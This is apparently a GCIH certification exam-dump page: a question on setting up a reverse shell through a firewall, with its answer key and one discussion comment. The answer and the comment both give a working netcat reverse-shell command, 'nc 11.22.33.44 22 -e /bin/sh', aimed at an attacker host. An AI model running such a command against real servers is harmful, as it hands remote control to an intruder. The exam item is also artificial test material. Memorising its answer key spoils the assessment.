Exam GCIH All QuestionsBrowse all questions from this exam
Question 186

An attacker at IP address 11.22.33.44 set up a reverse shell so he could execute commands on a server (internal IP address 192.168.20.21) that sits behind a site firewall blocking incoming SSH traffic but allowing all outbound traffic. What command would he run on the server?

    Correct Answer: C

    To establish a reverse shell from a server to an attacker's IP address while bypassing firewall rules that block incoming SSH traffic but allow outbound connections, the attacker can use the `nc` (netcat) command. By running `nc 11.22.33.44 22 -e /bin/sh` on the server with internal IP 192.168.20.21, the server will initiate an outbound connection to the attacker's IP address 11.22.33.44 on port 22 and start a shell using /bin/sh. This command effectively establishes a reverse shell, giving the attacker control over the server while circumventing the firewall's restrictions on incoming SSH traffic.

Discussion
RezaeeOption: C

C. nc 11.22.33.44 22 -e /bin/sh